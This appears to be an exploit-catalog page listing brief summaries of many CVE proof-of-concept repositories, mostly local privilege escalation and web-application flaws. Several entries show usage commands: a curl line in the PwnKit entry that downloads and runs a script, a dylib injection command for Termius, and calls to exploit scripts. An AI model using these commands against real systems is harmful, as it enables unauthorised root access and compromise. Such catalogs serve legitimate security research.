CVE-2024-24488

CVE-2024-24488 An issue in Shenzen Tenda Technology CP3V2.0 V11.10.00.2311090948 allows a local attacker to obtain sensitive information via the password component. Tested Versions CP3V2.0 - V11.10.00.2311090948 CWE CWE-313: Cleartext Storage in a File or on Disk Vulnerability Overview Devices...

CVE-2019-5418

CVE-2019-5418: Ruby on Rails Path Traversal & Arbitrary File Read This project is an environment for practicing and reproducing the local file inclusion vulnerability CVE-2019-5418 in Ruby on Rails. This vulnerability allows reading arbitrary files on the server through path traversal via the...

c-CVE-2024-0044

CVE 2024 0044 CVE-2024-0044, identified in the createSessionInternal function of the PackageInstallerService.java file, is a high-severity vulnerability affecting Android versions 12 and 13. This vulnerability allows an attacker to perform a "run-as any app" attack, leading to local escalation of...

CVE-2023-43352-CMSmadesimple-SSTI--Content

CMSmadesimple SSTI v2.2.18 Author: Sergio Description: Server Side Template Injection SSTI vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Attack Vectors: A SSTI...

CVE-2024-55503

CVE-2024-55503 Termius App MacOS dylib Command injection Description An issue in termius before v.9.9.0 allows a local attacker to execute arbitrary code via a crafted script to the DYLDINSERTLIBRARIES component. using dylib root@kitploit: DYLDINSERTLIBRARIES=exploitcombined.dylib...

CVE-2023-44765_ConcreteCMS-Stored-XSS---Associations

ConcreteCMS XSS v2.2.18 Author: Sergio Description: Cross Site Scripting vulnerability in ConcreteCMS v.9.2.1 allows a local attacker to execute arbitrary code via a crafted script to Plural Handle of the Data Objects from System & Settings. Attack Vectors: Scripting A vulnerability in the...

CVE-2026-53694-NoMachine-LPE

CVE-2026-53694: 引数インジェクションによるNoMachineのローカル権限昇格 概要 このリポジトリは、CVE-2026-53694（NoMachine for Linuxにおけるローカル権限昇格（LPE）脆弱性）の報告書と概念実証（PoC）を含んでいます。...

LocalPotato_CVE-2023-21746

A local privilege escalation LPE vulnerability in Windows was reported to Microsoft on September 9, 2022, by Andrea Pierini @decoderit and Antonio Cocomazzi @splintercode. The vulnerability would allow an attacker with a low-privilege account on a host to read/write arbitrary files with SYSTEM...

cve-2014-0521

CVE-2014-0521 Adobe Reader vulnerability This JavaScript based Adobe Reader vulnerability affects all versions of Adobe Reader on all platforms prior to version 11.0.07 released on May 13, 2014. The bug was found by Gábor Molnár and was reported on March 10, 2014. Advisories: CVE-2014-0521 Adobe...

CVE-2026-55567

BleachBit cleans files to free disk space and to maintain privacy. Prior to 6.0.1, privileged Windows cleaning does not lock and validate a target's parent directory before deletion. A local unprivileged user can replace that directory with a Windows junction and use a native symlink to redirect...

log4j2_vul_local_scanner

Log4j2 Vulnerability Local Scanner CVE-2021-45046 Log4j 漏洞本地检测脚本，扫描主机上所有java进程，检测是否引入了有漏洞的log4j-core jar包，是否可能遭到远程代码执行攻击（CVE-2021-45046）。上传扫描报告到指定的服务器。 Scan all java processes on your host to check whether it's affected by log4j2 remote code executionCVE-2021-45046, then upload the report to your...

CVE-2026-21018

SveService Buffer Overflow Samsung SMR May 2026 SVE-2026-0478CVE-2026-21018 Affected versions: Android 14, 15, 16 Disclosure status: Privately disclosed Out-of-bounds write in SveService prior to SMR May-2026 Release 1 allows local privileged attackers to execute arbitrary code. The patch adds...

CVE-2022-37704

Suggested description Amanda 3.5.1 has a flaw that allows privilege escalation from the regular user backup to root. The SUID binary located at /lib/amanda/rundump will execute /usr/sbin/dump as root with controlled arguments from the attacker which may lead to escalation of privileges, denial of...

CVE-2025-6019-exploit

CVE-2025-6019: UDisks2 ファイルシステムリサイズを介した権限昇格エクスプロイト 脆弱性の詳細 CVE ID : CVE-2025-6019 影響 : ローカル権限昇格 LPE 影響を受けるシステム : 脆弱な udisks2 バージョンが動作するLinuxシステム メカニズム : ファイルシステムリサイズ中のレースコンディションにより、誰でも書き込み可能な一時ディレクトリ内のSUIDバイナリへのアクセスが可能になる 主要コンポーネント : udisks2 サービス DBus インターフェース...

cve-2020-0796

CVE-2020-0796 LPE CVE-2020-0796 SMBGhost LPE Usage Install Rust if you need it https://www.rust-lang.org/learn/get-started Compile the code: cargo build --release Copy the .exe from target/release/ to target and execute. References...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI to RCE Unauthenticated Remote Code Execution in Backup Migration WordPress Plugin. Run root@kitploit: $ python exploit.py The following PHP script is executed. root@kitploit: out.txt; ? References Critical Unauthenticated Remote Code Execution Found in Backup Migration Plugi...

CVE-2023-42931

CVE-2023-42931 このエクスプロイトは、macOS 14.0～14.1.2、13.0～13.6.2、12.0～12.7.1 で動作する LPE を標的としています。 使用方法 root@kitploit: chmod +x PoC.sh ./PoC.sh クレジット このエクスプロイトは、元の記事の研究に基づいています: Apple macOS ファイルシステムを経由してルートへの権限昇格を行う。 ライセンス このプロジェクトは MIT ライセンスの下でライセンスされています - 詳細については LICENSE ファイルを参照してください。...

openssh: OpenSSH: Tunnel forwarding restriction bypass

A flaw was found in OpenSSH's sshd component. The restrict keyword, designed to limit tunnel forwarding within the authorizedkeys file, was not correctly enforced for tunnel forwarding. This issue could allow a local attacker to bypass intended security restrictions, potentially leading to...

CVE-2024-0044

CVE 2024 0044 CVE-2024-0044, identified in the createSessionInternal function of the PackageInstallerService.java file, is a high-severity vulnerability affecting Android versions 12 and 13. This vulnerability allows an attacker to perform a "run-as any app" attack, leading to local escalation of...

Exploiting-PwnKit-CVE-2021-4034-

PwnKit Self-contained exploit for CVE-2021-4034 - Pkexec Local Privilege Escalation Usage Should work out of the box on vulnerable Linux distributions based on Ubuntu, Debian, Fedora, and CentOS. root@kitploit: sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...